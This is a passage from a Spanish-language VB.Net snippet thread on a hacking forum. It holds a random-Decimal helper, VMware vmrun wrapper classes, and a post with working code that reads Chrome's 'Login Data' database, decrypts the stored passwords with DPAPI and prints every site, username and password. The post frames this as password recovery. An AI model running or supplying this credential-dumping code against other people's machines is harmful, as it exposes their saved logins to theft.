  200.        ''' <summary>
  201.        ''' Returns a non-negative <see cref="Decimal"/> value between the minimum and maximum specified.
  202.        ''' </summary>
  203.        ''' ----------------------------------------------------------------------------------------------------
  204.        ''' <param name="sender">
  205.        ''' The source <see cref="Random"/>.
  206.        ''' </param>
  207.        '''
  208.        ''' <param name="minValue">
  209.        ''' The minimum value.
  210.        ''' </param>
  211.        '''
  212.        ''' <param name="maxValue">
  213.        ''' The maximum value.
  214.        ''' </param>
  215.        ''' ----------------------------------------------------------------------------------------------------
  216.        ''' <returns>
  217.        ''' The resulting <see cref="Decimal"/> value.
  218.        ''' </returns>
  219.        ''' ----------------------------------------------------------------------------------------------------
  220.        <DebuggerStepThrough>
  221.        <Extension>
  222.        <EditorBrowsable(EditorBrowsableState.Always)>
  223.        Public Function NextDecimal(ByVal sender As Random, ByVal minValue As Decimal, ByVal maxValue As Decimal) As Decimal
  224.            Dim nextSample As Decimal = NextDecimalSample(sender)
  225.            Return maxValue * nextSample + minValue * (1 - nextSample)
  226.        End Function
  227.  
  228. #End Region
  229.  
  230. #Region " Private Methods "
  231.  
  232.        ''' ----------------------------------------------------------------------------------------------------
  233.        ''' <summary>
  234.        ''' Provides a random <see cref="Decimal"/> value
  235.        ''' in the range: [0.0000000000000000000000000000, 0.9999999999999999999999999999)
  236.        ''' with (theoretical) uniform and discrete distribution.
  237.        ''' </summary>
  238.        ''' ----------------------------------------------------------------------------------------------------
  239.        ''' <remarks>
  240.        ''' <see href="https://stackoverflow.com/a/28860710/1248295"/>
  241.        ''' </remarks>
  242.        ''' ----------------------------------------------------------------------------------------------------
  243.        ''' <param name="rng">
  244.        ''' The source <see cref="Random"/>.
  245.        ''' </param>
  246.        ''' ----------------------------------------------------------------------------------------------------
  247.        ''' <returns>
  248.        ''' The resulting <see cref="Decimal"/> value.
  249.        ''' </returns>
  250.        ''' ----------------------------------------------------------------------------------------------------
  251.        <DebuggerStepperBoundary>
  252.        Private Function NextDecimalSample(ByVal rng As Random) As Decimal
  253.            Dim sample As Decimal = 1D
  254.            ' After ~200 million tries this never took more than one attempt
  255.            ' but it Is possible To generate combinations Of a, b, and c
  256.            ' With the approach below resulting In a sample >= 1.
  257.            Do While (sample >= 1D)
  258.                Dim a As Integer = rng.Next(0, Integer.MaxValue)
  259.                Dim b As Integer = rng.Next(0, Integer.MaxValue)
  260.                Dim c As Integer = rng.Next(542101087) ' The high bits of 0.9999999999999999999999999999m are 542101086.
  261.                sample = New Decimal(a, b, c, False, 28)
  262.            Loop
  263.            Return sample
  264.        End Function
  265.  
  266. #End Region
  267.  
  268.    End Module
  269.  
  270. End Namespace
  271.  
  272. #End Region


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 8 Abril 2018, 18:41 pm
¿Cómo obtener las contraseñas de Google Chrome?

En relación a este post: https://foro.elhacker.net/dudas_generales/leer_cookies_de_chrome_y_su_valor-t482292.0.html;msg2159271#msg2159271 (https://foro.elhacker.net/dudas_generales/leer_cookies_de_chrome_y_su_valor-t482292.0.html;msg2159271#msg2159271) - he decidido desarrollar este algoritmo para recuperar contraseñas de Google Chrome. La recuperación tiene limitaciones en escenarios específicos debido a la naturaleza del tipo de cifrado; si quieren saber más acerca de eso, lean el post en el enlace que he compartido arriba.

Para poder utilizar este código, deben añadir una referencia a la librería System.Security.dll, y System.Data.SQLite.dll: https://system.data.sqlite.org/index.html/doc/trunk/www/downloads.wiki

Código
  1. Imports System
  2. Imports System.Collections.Generic
  3. Imports System.Data
  4. Imports System.Data.SQLite
  5. Imports System.IO
  6. Imports System.Net
  7. Imports System.Security.Cryptography
  8. Imports System.Text

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets the Google Chrome logins stored for the current user.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example.
  7. ''' <code>
  8. ''' Dim loginsFile As New FileInfo("C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data")
  9. ''' Dim logins As IEnumerable(Of NetworkCredential) =
  10. '''     From login As NetworkCredential In
  11. '''         GetGoogleChromeLogins(loginsFile, "_NULL_", "_NULL_", "_UNDECRYPTABLE_")
  12. '''     Order By login.Domain Ascending
  13. '''
  14. ''' For Each login As NetworkCredential In logins
  15. '''     Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
  16. ''' Next login
  17. ''' </code>
  18. ''' </example>
  19. ''' ----------------------------------------------------------------------------------------------------
  20. ''' <param name="loginDataFile">
  21. ''' The "Logins Data" file that stores the user logins.
  22. ''' <para></para>
  23. ''' This file is typically located at: 'C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default'.
  24. ''' </param>
  25. '''
  26. ''' <param name="defaultIfUsernameEmpty">
  27. ''' A default value to assign for an empty username.
  28. ''' </param>
  29. '''
  30. ''' <param name="defaultIfPasswordEmpty">
  31. ''' A default value to assign for an empty password.
  32. ''' </param>
  33. '''
  34. ''' <param name="defaultIfPasswordUndecryptable">
  35. ''' A default value to assign for a undecryptable password.
  36. ''' </param>
  37. ''' ----------------------------------------------------------------------------------------------------
  38. ''' <returns>
  39. ''' A <see cref="IEnumerable(Of NetworkCredential)"/> containing the user logins.
  40. ''' </returns>
  41. ''' ----------------------------------------------------------------------------------------------------
  42. <DebuggerStepperBoundary>
  43. Public Shared Function GetGoogleChromeLogins(ByVal loginDataFile As FileInfo,
  44.                                             Optional ByVal defaultIfUsernameEmpty As String = "",
  45.                                             Optional ByVal defaultIfPasswordEmpty As String = "",
  46.                                             Optional ByVal defaultIfPasswordUndecryptable As String = ""
  47.                                             ) As IEnumerable(Of NetworkCredential)
  48.  
  49.    Return GetGoogleChromeLogins(loginDataFile.FullName, defaultIfUsernameEmpty, defaultIfPasswordEmpty, defaultIfPasswordUndecryptable)
  50.  
  51. End Function

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Gets the Google Chrome logins stored for the current user.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <example> This is a code example.
  7. ''' <code>
  8. ''' Dim loginDataPath As String = "C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  9. ''' Dim logins As IEnumerable(Of NetworkCredential) =
  10. '''     From login As NetworkCredential In
  11. '''         GetGoogleChromeLogins(loginDataPath, "_NULL_", "_NULL_", "_UNDECRYPTABLE_")
  12. '''     Order By login.Domain Ascending
  13. '''
  14. ''' For Each login As NetworkCredential In logins
  15. '''     Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
  16. ''' Next login
  17. ''' </code>
  18. ''' </example>
  19. ''' ----------------------------------------------------------------------------------------------------
  20. ''' <param name="loginDataPath">
  21. ''' The full path to "Logins Data" file that stores the user logins.
  22. ''' <para></para>
  23. ''' This file is typically located at: 'C:\Users\{USERNAME}\AppData\Local\Google\Chrome\User Data\Default'.
  24. ''' </param>
  25. '''
  26. ''' <param name="defaultIfUsernameEmpty">
  27. ''' A default value to assign for an empty username.
  28. ''' </param>
  29. '''
  30. ''' <param name="defaultIfPasswordEmpty">
  31. ''' A default value to assign for an empty password.
  32. ''' </param>
  33. '''
  34. ''' <param name="defaultIfPasswordUndecryptable">
  35. ''' A default value to assign for a undecryptable password.
  36. ''' </param>
  37. ''' ----------------------------------------------------------------------------------------------------
  38. ''' <returns>
  39. ''' A <see cref="IEnumerable(Of NetworkCredential)"/> containing the user logins.
  40. ''' </returns>
  41. ''' ----------------------------------------------------------------------------------------------------
  42. <DebuggerStepperBoundary>
  43. Public Shared Iterator Function GetGoogleChromeLogins(ByVal loginDataPath As String,
  44.                                                      Optional ByVal defaultIfUsernameEmpty As String = "",
  45.                                                      Optional ByVal defaultIfPasswordEmpty As String = "",
  46.                                                      Optional ByVal defaultIfPasswordUndecryptable As String = ""
  47.                                                      ) As IEnumerable(Of NetworkCredential)
  48.  
  49.    Dim sqlConnectionString As String = String.Format("data source={0};New=True;UseUTF16Encoding=True", loginDataPath)
  50.    Dim sqlCommandText As String = "SELECT origin_url, username_value, password_value FROM 'logins'"
  51.    Dim textEncoding As New UTF8Encoding(encoderShouldEmitUTF8Identifier:=True)
  52.  
  53.    Using dt As New DataTable(),
  54.        sqlConnection As New SQLiteConnection(sqlConnectionString),
  55.        sqlCommand As New SQLiteCommand(sqlCommandText, sqlConnection),
  56.        sqlAdapter As New SQLiteDataAdapter(sqlCommand)
  57.        sqlAdapter.Fill(dt)
  58.  
  59.        For Each row As DataRow In dt.Rows
  60.            Dim domain As String = row("origin_url")
  61.  
  62.            Dim userName As String = row("username_value")
  63.            If String.IsNullOrEmpty(userName) Then
  64.                userName = defaultIfUsernameEmpty
  65.            End If
  66.  
  67.            Dim passwordEncrypted As Byte() = DirectCast(row("password_value"), Byte())
  68.            Dim passwordDecrypted As Byte()
  69.            Dim passwordString As String = String.Empty
  70.  
  71.            Try
  72.                passwordDecrypted = ProtectedData.Unprotect(passwordEncrypted, Nothing, DataProtectionScope.CurrentUser)
  73.                passwordString = textEncoding.GetString(passwordDecrypted)
  74.  
  75.            Catch ex As CryptographicException When (ex.HResult = -2146893813) ' Key not valid for use in specified state.
  76.                ' This means the current user can't decrypt the encrypted data,
  77.                ' because the encryption key was derived using a different user credential.
  78.                passwordString = defaultIfPasswordUndecryptable
  79.  
  80.            Catch ex As Exception
  81.                Throw
  82.  
  83.            Finally
  84.                If String.IsNullOrEmpty(passwordString) Then
  85.                    passwordString = defaultIfPasswordEmpty
  86.                End If
  87.  
  88.            End Try
  89.  
  90.            Yield New NetworkCredential(userName, passwordString, domain)
  91.        Next row
  92.  
  93.    End Using
  94.  
  95. End Function

Ejemplo de uso:
Código
  1. Dim loginDataPath As String = "C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data"
  2. Dim logins As IEnumerable(Of NetworkCredential) =
  3.    From login As NetworkCredential In
  4.        GetGoogleChromeLogins(loginDataPath, "", "", "_UNDECRYPTABLE_")
  5.    Order By login.Domain Ascending
  6.  
  7. For Each login As NetworkCredential In logins
  8.    Console.WriteLine("{0}; {1}; {2}", login.Domain, login.UserName, login.Password)
  9. Next login

Ejemplo de salida del programa... ya se lo pueden imaginar:
Citar
chrome://wmn/accounts/gmail; UserName; Password
chrome://wmn/accounts/hotmail; UserName; Password
http://foro.elhacker.net/; UserName; Password
http://forum.doom9.org/; UserName; Password
http://forum.soundarea.org/; UserName; Password
http://forums.nvidia.com/; UserName; Password
...

Saludos!.


Título: Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 8 Mayo 2018, 14:25 pm
¿Cómo interoperar entre el sistema operativo huésped de una máquina virtual de VMWare, y el sistema operativo anfitrión?.

Me encargaron un trabajo que consistia en diseñar una GUI para monitorizar máquinas virtuales de VMWare y realizar ciertas cosas dentro de cada sistema operativo huésped, y... bueno, aunque ni por asomo tenía la obligación de currármelo tanto como vereis a continuacion, pero ya sabeis que siempre que me gusta una idea intento implementarla de forma sofisticada (dentro de mis capacidades) y reutilizable para el futuro, me gusta hacer las cosas lo mejor posible (repito, dentro de mis capacidades), y esto es lo que acabé haciendo...

Este sistema o implementación depende del programa command-line vmrun.exe de VMWare, de otra forma sería practicamente inviable hacer esto ya sea en .NET o en un lenguaje de bajo nivel sin pasar meses o años de dedicación en el estudio e investigación; vmrun nos facilitará por completo la tarea de identificar las máquinas virtuales de VMWare que están en ejecución en el sistema operativo anfitrión, y realizar operaciones de I/O en las mismas, como copiar archivos del S.O. anfitrión al huésped o viceversa, enviar pulsaciones del teclado (o mejor dicho enviar cadenas de texto), o ejecutar programas y scripts, tomar capturas de pantalla, o administrar las carpetas compartidas y las imágenes (snapshots) de la VM, entre otras cosas. Implementé casi todas las funcionalidades de vmrun.

Como único inconveniente debo aclarar que este sistema no soporta máquinas virtuales compartidas (esas que podemos colocar en el directorio del usuario público como recurso compartido de red), y esta limitación es simplemente por pura ignorancia, ya que no he logrado averiguar la sintaxis correcta de vmrun para indicarle que el host es LOCALHOST, siempre que lo intento (ej. vmrun.exe -T ws-shared -h LOCALHOST ... ) el programa me dice que no ha logrado conectar con el servidor xD, así que si alguien sabe cual es la sintaxis le agradecería que me lo dijese para poder adaptar y mejorar este código.

Aquí lo tenen todo:

GuestOsCredential.vb
Código
  1. ''' <summary>
  2. ''' Represents the username/password login data for the running guest operating system of a VMWare's virtual machine.
  3. ''' </summary>
  4. Public NotInheritable Class GuestOsCredential
  5.  
  6. #Region " Properties "
  7.  
  8.    ''' <summary>
  9.    ''' Gets or sets the account username.
  10.    ''' </summary>
  11.    Public Property Username As String
  12.  
  13.    ''' <summary>
  14.    ''' Gets or sets the account password.
  15.    ''' </summary>
  16.    Public Property Password As String
  17.  
  18. #End Region
  19.  
  20. #Region " Constructors "
  21.  
  22.    ''' <summary>
  23.    ''' Initializes a new instance of the <see cref="GuestOsCredential"/> class.
  24.    ''' </summary>
  25.    Public Sub New()
  26.    End Sub
  27.  
  28. #End Region
  29.  
  30. End Class

VmRunProgramFlags.vb
Código
  1. ''' <summary>
  2. ''' Specifies the behavior of a program that is executed by VMWare's vmrun.exe application.
  3. ''' </summary>
  4. <Flags>
  5. Public Enum VmRunProgramFlags
  6.  
  7.    ''' <summary>
  8.    ''' Run the program using the default behavior.
  9.    ''' </summary>
  10.    None = 1
  11.  
  12.    ''' <summary>
  13.    ''' Returns a prompt immediately after the program starts in the guest operating system, rather than waiting for it to finish.
  14.    ''' <para></para>
  15.    ''' This option is useful for interactive programs.
  16.    ''' </summary>
  17.    NoWait = 2
  18.  
  19.    ''' <summary>
  20.    ''' Ensures that the program window is visible, not minimized, in the guest operating system.
  21.    ''' <para></para>
  22.    ''' This option has no effect on Linux.
  23.    ''' </summary>
  24.    ActiveWindow = 4
  25.  
  26.    ''' <summary>
  27.    ''' Forces interactive guest login.
  28.    ''' <para></para>
  29.    ''' This option is useful for Windows VISTA guests to make the program visible in he console window.
  30.    ''' </summary>
  31.    Interactive = 8
  32.  
  33. End Enum

VmRunException.vb
Código
  1. ''' <summary>
  2. ''' The exception that Is thrown When a call to VMWare's vmrun.exe application exits with an error.
  3. ''' </summary>
  4. <Serializable>
  5. <XmlRoot(NameOf(VmRunException))>
  6. <ImmutableObject(True)>
  7. Public NotInheritable Class VmRunException : Inherits Exception
  8.  
  9. #Region " Properties "
  10.  
  11.    ''' <summary>
  12.    ''' Gets the exit code of VMWare's vmrun.exe application.
  13.    ''' </summary>
  14.    Public ReadOnly Property ExitCode As Integer
  15.  
  16. #End Region
  17.  
  18. #Region " Constructors "
  19.  
  20.    ''' <summary>
  21.    ''' Prevents a default instance of the <see cref="VmRunException"/> class from being created.
  22.    ''' </summary>
  23.    Private Sub New()
  24.    End Sub
  25.  
  26.    ''' <summary>
  27.    ''' Initializes a new instance of the System.Exception class with a specified error message.
  28.    ''' </summary>
  29.    ''' <param name="message">
  30.    ''' The message that describes the error.
  31.    ''' </param>
  32.    <DebuggerNonUserCode>
  33.    <EditorBrowsable(EditorBrowsableState.Never)>
  34.    Private Sub New(ByVal message As String)
  35.        MyBase.New(message)
  36.    End Sub
  37.  
  38.    ''' <summary>
  39.    ''' Initializes a new instance of the System.Exception class with a specified error message
  40.    ''' and a reference to the inner exception that is the cause of this exception.
  41.    ''' </summary>
  42.    ''' <param name="message">
  43.    ''' The message that describes the error.
  44.    ''' </param>
  45.    '''
  46.    ''' <param name="innerException">
  47.    ''' The exception that is the cause of the current exception,
  48.    ''' or <see langword="Nothing"/> if no inner exception is specified.
  49.    ''' </param>
  50.    <DebuggerNonUserCode>
  51.    <EditorBrowsable(EditorBrowsableState.Never)>
  52.    Private Sub New(ByVal message As String, ByVal innerException As Exception)
  53.        MyBase.New(message, innerException)
  54.    End Sub
  55.  
  56.    ''' <summary>
  57.    ''' Initializes a new instance of the System.Exception class with a specified error message and exit code.
  58.    ''' </summary>
  59.    ''' <param name="message">
  60.    ''' The error message thrown by VMWare's vmrun.exe application.
  61.    ''' </param>
  62.    '''
  63.    ''' <param name="exitCode">
  64.    ''' The exit code of VMWare's vmrun.exe application
  65.    ''' </param>
  66.    Public Sub New(ByVal message As String, ByVal exitCode As Integer)
  67.        MyBase.New(message)
  68.        Me.ExitCode = exitCode
  69.    End Sub
  70.  
  71. #End Region
  72.  
  73. End Class

VmSharedFolderInfo.vb
Código
  1. ''' <summary>
  2. ''' Represents a shared folder of a VMWare's virtual machine.
  3. ''' </summary>
  4. Public NotInheritable Class VmSharedFolderInfo
  5.  
  6. #Region " Properties "
  7.  
  8.    ''' <summary>
  9.    ''' Gets or sets the share name.
  10.    ''' </summary>
  11.    Public Property Name As String
  12.  
  13.    ''' <summary>
  14.    ''' Gets or sets the shared directory on host operating system.
  15.    ''' </summary>
  16.    Public Property HostDirectory As DirectoryInfo
  17.  
  18.    ''' <summary>
  19.    ''' Gets or sets a value that determine whether this shared folder is enabled.
  20.    ''' </summary>
  21.    Public Property Enabled As Boolean
  22.  
  23.    ''' <summary>
  24.    ''' Gets or sets a value that determine whether this shared folder allows read access.
  25.    ''' </summary>
  26.    Public Property ReadAccess As Boolean
  27.  
  28.    ''' <summary>
  29.    ''' Gets or sets a value that determine whether this shared folder allows write access.
  30.    ''' </summary>
  31.    Public Property WriteAccess As Boolean
  32.  
  33.    ''' <summary>
  34.    ''' Gets or sets the expiration time of this shared folder.
  35.    ''' </summary>
  36.    Public Property Expiration As String
  37.  
  38. #End Region
  39.  
  40. #Region " Constructors "
  41.  
  42.    ''' <summary>
  43.    ''' Initializes a new instance of the <see cref="VmSharedFolderInfo"/> class.
  44.    ''' </summary>
  45.    Public Sub New()
  46.    End Sub
  47.  
  48. #End Region
  49.  
  50. End Class

VMWareVirtualMachine.vb
Código
  1. ''' <summary>
  2. ''' Represents a VMWare Virtual Machine.
  3. ''' </summary>
  4. Public NotInheritable Class VMWareVirtualMachine
  5.  
  6. #Region " Properties "
  7.  
  8.    ''' <summary>
  9.    ''' Gets .vmx file of this VM.
  10.    ''' </summary>
  11.    Public ReadOnly Property VmxFile As FileInfo
  12.  
  13.    ''' <summary>
  14.    ''' Gets or sets the username and password of the running user-account in the guest operating system of this VM.
  15.    ''' <para></para>
  16.    ''' The credential is required to perform some I/O operations with VMWare's vmrun.exe program.
  17.    ''' So you must set this credential before using vmrun.exe.
  18.    ''' </summary>
  19.    Public Property GuestOsCredential As GuestOsCredential
  20.  
  21.    ''' <summary>
  22.    ''' Gets a value that determine whether this VM is a shared VM.
  23.    ''' </summary>
  24.    Public ReadOnly Property IsSharedVm As Boolean
  25.  
  26.    ''' <summary>
  27.    ''' Gets the display name of this VM.
  28.    ''' </summary>
  29.    Public ReadOnly Property DisplayName As String
  30.        Get
  31.            Return Me.displayNameB
  32.        End Get
  33.    End Property
  34.    ''' <summary>
  35.    ''' ( Backing Fields )
  36.    ''' <para></para>
  37.    ''' Gets the display name of this VM.
  38.    ''' </summary>
  39.    Private displayNameB As String
  40.  
  41.    ''' <summary>
  42.    ''' Gets the version of the guest operating system of this VM.
  43.    ''' </summary>
  44.    Public ReadOnly Property OsVersion As String
  45.        Get
  46.            Return Me.osVersionB
  47.        End Get
  48.    End Property
  49.    ''' <summary>
  50.    ''' ( Backing Fields )
  51.    ''' <para></para>
  52.    ''' Gets the version of the guest operating system of this VM.
  53.    ''' </summary>
  54.    Private osVersionB As String
  55.  
  56.    ''' <summary>
  57.    ''' Gets the firmware type of this VM. It can be: BIOS, or UEFI.
  58.    ''' </summary>
  59.    Public ReadOnly Property Firmware As String
  60.        Get
  61.            Return Me.firmwareB
  62.        End Get
  63.    End Property
  64.    ''' <summary>
  65.    ''' ( Backing Fields )
  66.    ''' <para></para>
  67.    ''' Gets the firmware type of this VM. It can be: BIOS, or UEFI.
  68.    ''' </summary>
  69.    Private firmwareB As String
  70.  
  71.    ''' <summary>
  72.    ''' Gets a value that determine whether secureboot is enabled for UEFI firmware mode.
  73.    ''' </summary>
  74.    Public ReadOnly Property SecureBootEnabled As Boolean
  75.        Get
  76.            Return Me.secureBootEnabledB
  77.        End Get
  78.    End Property
  79.    ''' <summary>
  80.    ''' ( Backing Fields )
  81.    ''' <para></para>
  82.    ''' Gets a value that determine whether secureboot is enabled for UEFI firmware mode.
  83.    ''' </summary>
  84.    Private secureBootEnabledB As Boolean
  85.  
  86.    ''' <summary>
  87.    ''' Gets the hardware version of this VM.
  88.    ''' </summary>
  89.    ''' <remarks>
  90.    ''' See for more info about virtual machine hardware versions: <see href="https://kb.vmware.com/s/article/1003746"/>
  91.    ''' </remarks>
  92.    Public ReadOnly Property VmHardwareVersion As Integer
  93.        Get
  94.            Return Me.vmHardwareVersionB
  95.        End Get
  96.    End Property
  97.    ''' <summary>
  98.    ''' ( Backing Fields )
  99.    ''' <para></para>
  100.    ''' Gets the hardware version of this VM.
  101.    ''' </summary>
  102.    Private vmHardwareVersionB As Integer
  103.  
  104.    ''' <summary>
  105.    ''' Gets the total memory size of this VM, in megabytes.
  106.    ''' </summary>
  107.    Public ReadOnly Property MemorySize As Integer
  108.        Get
  109.            Return Me.memorySizeB
  110.        End Get
  111.    End Property
  112.    ''' <summary>
  113.    ''' ( Backing Fields )
  114.    ''' <para></para>
  115.    ''' Gets the total memory size of this VM, in megabytes.
  116.    ''' </summary>
  117.    Private memorySizeB As Integer
  118.  
  119.    ''' <summary>
  120.    ''' Gets the total graphics memory size of this VM, in megabytes.
  121.    ''' </summary>
  122.    Public ReadOnly Property GraphicsMemorySize As Integer
  123.        Get
  124.            Return Me.graphicsMemorySizeB
  125.        End Get
  126.    End Property
  127.    ''' <summary>
  128.    ''' ( Backing Fields )
  129.    ''' <para></para>
  130.    ''' Gets the total graphics memory size of this VM, in megabytes.
  131.    ''' </summary>
  132.    Private graphicsMemorySizeB As Integer
  133.  
  134.    ''' <summary>
  135.    ''' Gets a value that determine whether 3D graphics hardware acceleration is enabled in this VM.
  136.    ''' </summary>
  137.    Public ReadOnly Property GraphicsHardwareAccelerationEnabled As Boolean
  138.        Get
  139.            Return Me.graphicsHardwareAccelerationEnabledB
  140.        End Get
  141.    End Property
  142.    ''' <summary>
  143.    ''' ( Backing Fields )
  144.    ''' <para></para>
  145.    ''' Gets a value that determine whether 3D graphics hardware acceleration is enabled in this VM.
  146.    ''' </summary>
  147.    Private graphicsHardwareAccelerationEnabledB As Boolean
  148.  
  149.    ''' <summary>
  150.    ''' Gets the amount of processor cores of this VM.
  151.    ''' </summary>
  152.    Public ReadOnly Property TotalProcessorCores As Integer
  153.        Get
  154.            Return Me.totalProcessorCoresB
  155.        End Get
  156.    End Property
  157.    ''' <summary>
  158.    ''' ( Backing Fields )
  159.    ''' <para></para>
  160.    ''' Gets the amount of processor cores of this VM.
  161.    ''' </summary>
  162.    Private totalProcessorCoresB As Integer
  163.  
  164.    ''' <summary>
  165.    ''' Gets the amount of cores per processor of this VM.
  166.    ''' </summary>
  167.    Public ReadOnly Property CoresPerProcessor As Integer
  168.        Get
  169.            Return Me.coresPerProcessorB
  170.        End Get
  171.    End Property
  172.    ''' <summary>
  173.    ''' ( Backing Fields )
  174.    ''' <para></para>
  175.    ''' Gets the amount of cores per processor of this VM.
  176.    ''' </summary>
  177.    Private coresPerProcessorB As Integer
  178.  
  179.    ''' <summary>
  180.    ''' Gets the amount of processors of this VM.
  181.    ''' <para></para>
  182.    ''' The resulting value is the division between <see cref="VMWareVirtualMachine.TotalProcessorCores"/> \ <see cref="VMWareVirtualMachine.CoresPerProcessor"/>.
  183.    ''' </summary>
  184.    Public ReadOnly Property ProcessorCount As Integer
  185.        Get
  186.            Return (Me.TotalProcessorCores \ Me.CoresPerProcessor)
  187.        End Get
  188.    End Property
  189.  
  190.    ''' <summary>
  191.    ''' Gets the shared folders of this VM.
  192.    ''' </summary>
  193.    Public ReadOnly Property SharedFolders As ReadOnlyCollection(Of VmSharedFolderInfo)
  194.        Get
  195.            Return Me.sharedFoldersB
  196.        End Get
  197.    End Property
  198.    ''' <summary>
  199.    ''' ( Backing Fields )
  200.    ''' <para></para>
  201.    ''' Gets the shared folders of this VM.
  202.    ''' </summary>
  203.    Private sharedFoldersB As ReadOnlyCollection(Of VmSharedFolderInfo)
  204.  
  205.  
  206. #End Region
  207.  
  208. #Region " Constructors "
  209.  
  210.    ''' <summary>
  211.    ''' Prevents a default instance of the <see cref="VMWareVirtualMachine"/> class from being created.
  212.    ''' </summary>
  213.    Private Sub New()
  214.    End Sub
  215.  
  216.    ''' <summary>
  217.    ''' Initializes a new instance of the <see cref="VMWareVirtualMachine"/> class.
  218.    ''' </summary>
  219.    ''' <param name="vmxFilePath">
  220.    ''' The full path to the .vmx file.
  221.    ''' </param>
  222.    '''
  223.    ''' <param name="isSharedVm">
  224.    ''' A value that determine whether the VM is a shared VM.
  225.    ''' </param>
  226.    Public Sub New(ByVal vmxFilePath As String, ByVal isSharedVm As Boolean)
  227.        Me.VmxFile = New FileInfo(vmxFilePath)
  228.        Me.IsSharedVm = isSharedVm
  229.        Me.GuestOsCredential = New GuestOsCredential()
  230.  
  231.        Me.Refresh()
  232.    End Sub
  233.  
  234. #End Region
  235.  
  236. #Region " Public Methods "
  237.  
  238.    ''' <summary>
  239.    ''' Refresh the state (the properties) of this <see cref="VMWareVirtualMachine"/>.
  240.    ''' </summary>
  241.    ''' <exception cref="FileNotFoundException">
  242.    ''' .vmx file not found.
  243.    ''' </exception>
  244.    Public Sub Refresh()
  245.        If Not (Me.VmxFile.Exists) Then
  246.            Throw New FileNotFoundException(".vmx file not found.", Me.VmxFile.FullName)
  247.        End If
  248.  
  249.        Me.VmxFile.Refresh()
  250.  
  251.        Dim sharedFoldersDict As New Dictionary(Of String, VmSharedFolderInfo)
  252.  
  253.        Using sr As StreamReader = Me.VmxFile.OpenText()
  254.  
  255.            Dim line As String
  256.            Do Until sr.EndOfStream
  257.                line = sr.ReadLine().Trim()
  258.  
  259.                Select Case True
  260.  
  261.                    Case line.ToLower().StartsWith("displayname")
  262.                        Me.displayNameB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  263.  
  264.                    Case line.ToLower().StartsWith("firmware")
  265.                        Me.firmwareB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  266.  
  267.                    Case line.ToLower().StartsWith("guestos")
  268.                        Me.osVersionB = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  269.  
  270.                    Case line.ToLower().StartsWith("memsize")
  271.                        Me.memorySizeB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  272.  
  273.                    Case line.ToLower().StartsWith("numvcpus")
  274.                        Me.totalProcessorCoresB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  275.  
  276.                    Case line.ToLower().StartsWith("cpuid.corespersocket")
  277.                        Me.coresPerProcessorB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  278.  
  279.                    Case line.ToLower().StartsWith("svga.graphicsmemorykb")
  280.                        Me.graphicsMemorySizeB = (CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})) \ 1000)
  281.  
  282.                    Case line.ToLower().StartsWith("virtualhw.version")
  283.                        Me.vmHardwareVersionB = CInt(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  284.  
  285.                    Case line.ToLower().StartsWith("uefi.secureboot.enabled")
  286.                        Me.secureBootEnabledB = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  287.  
  288.                    Case line.ToLower().StartsWith("mks.enable3d")
  289.                        Me.graphicsHardwareAccelerationEnabledB = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  290.  
  291.                    Case line.ToLower() Like "sharedfolder#*.?*"
  292.                        Me.ParseSharedFolderLine(line, sharedFoldersDict)
  293.  
  294.                End Select
  295.  
  296.            Loop
  297.  
  298.        End Using
  299.  
  300.        Me.sharedFoldersB = New ReadOnlyCollection(Of VmSharedFolderInfo)(sharedFoldersDict.Values.ToArray())
  301.        sharedFoldersDict.Clear()
  302.    End Sub
  303.  
  304. #End Region
  305.  
  306. #Region " Private Methods "
  307.  
  308.    ''' <summary>
  309.    ''' Parses a line of the .vmx file that contains a shared folder field and value.
  310.    ''' </summary>
  311.    ''' <param name="line">
  312.    ''' The line to parse.
  313.    ''' </param>
  314.    '''
  315.    ''' <param name="refSharedFoldersDict">
  316.    ''' A <see cref="Dictionary(Of String, SharedFolderInfo)"/> that will be used to set the corresponding <see cref="VmSharedFolderInfo"/> member.
  317.    ''' </param>
  318.    Private Sub ParseSharedFolderLine(ByVal line As String, ByRef refSharedFoldersDict As Dictionary(Of String, VmSharedFolderInfo))
  319.  
  320.        Dim key As String = line.ToLower().Substring(0, line.IndexOf("."c))
  321.        If Not refSharedFoldersDict.ContainsKey(key) Then
  322.            refSharedFoldersDict.Add(key, New VmSharedFolderInfo())
  323.        End If
  324.  
  325.        Select Case True
  326.  
  327.            Case line.ToLower() Like "sharedfolder#*.enabled*"
  328.                refSharedFoldersDict(key).Enabled = Boolean.Parse(line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote}))
  329.  
  330.            Case line.ToLower() Like "sharedfolder#*.expiration*"
  331.                refSharedFoldersDict(key).Expiration = line.Substring(line.IndexOf("="c) + 1).Trim({" "c, ControlChars.Quote})
  332.  
  333.            Case line.ToLower() Like "sharedfolder#*.guestname*"
